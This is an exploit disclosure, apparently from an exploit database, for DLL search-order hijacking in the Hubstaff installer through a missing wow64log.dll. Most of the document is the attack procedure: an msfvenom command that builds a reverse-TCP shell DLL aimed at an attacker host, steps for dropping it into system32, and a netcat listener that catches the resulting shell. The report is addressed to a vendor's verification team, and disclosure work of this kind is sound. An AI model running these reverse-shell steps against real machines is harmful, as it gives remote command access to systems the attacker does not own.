Hubstaff 1.6.14-61e5e22e – ‘wow64log’ DLL Search Order Hijacking
*#Exploit Title:* Hubstaff 1.6.14-61e5e22e - 'wow64log' DLL Search Order Hijacking *#Date:* 14/05/2023 *#Exploit Author:* Ahsan Azad *#Vendor Homepage:* https://hubstaff.com/ *#Software Link:* https://app.hubstaff.com/download *#Version:* 1.6.13, 1.6.14 *#Tested On:* 64-bit operating system, x64-based processor *Description* Hubstaff is an employee work tracker with screenshots, timesheets, billing, in-depth reports, and more. During testing. It was found that the system32 subdirectory was missing a DLL library with the name *wow64log.dll* that had been required by the hubstaff's setup file during installation. Hence, using Metasploit's msfvenom to create a new wow64log.dll file, Tester was able to get a reverse shell locally. *Exploit* 1- Generate a dll file with the name wow64log.dll using the command: *msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f dll -o wow64log.dll* 2- Place the newly generated DLL to the *system32 *directory. 3- Start a listener on attacker's console using: *nc -lnvp <port_used_while_generating_DLL>* 4- Launch the exe. Reverse shell will be receive as: *C:\Windows>* *Attachments (For the understanding of verification team)* 1.png - Showing the wow64.dll was not found by the exe. [image: 1.png] 2.png - Showing how tester was able to generate a new dll using msfvenom on port 1337. [image: 2.png] 3.png - Showing a reverse connection received on the attacker's console at C:\Windows> by launching the exe.[image: 3.png] |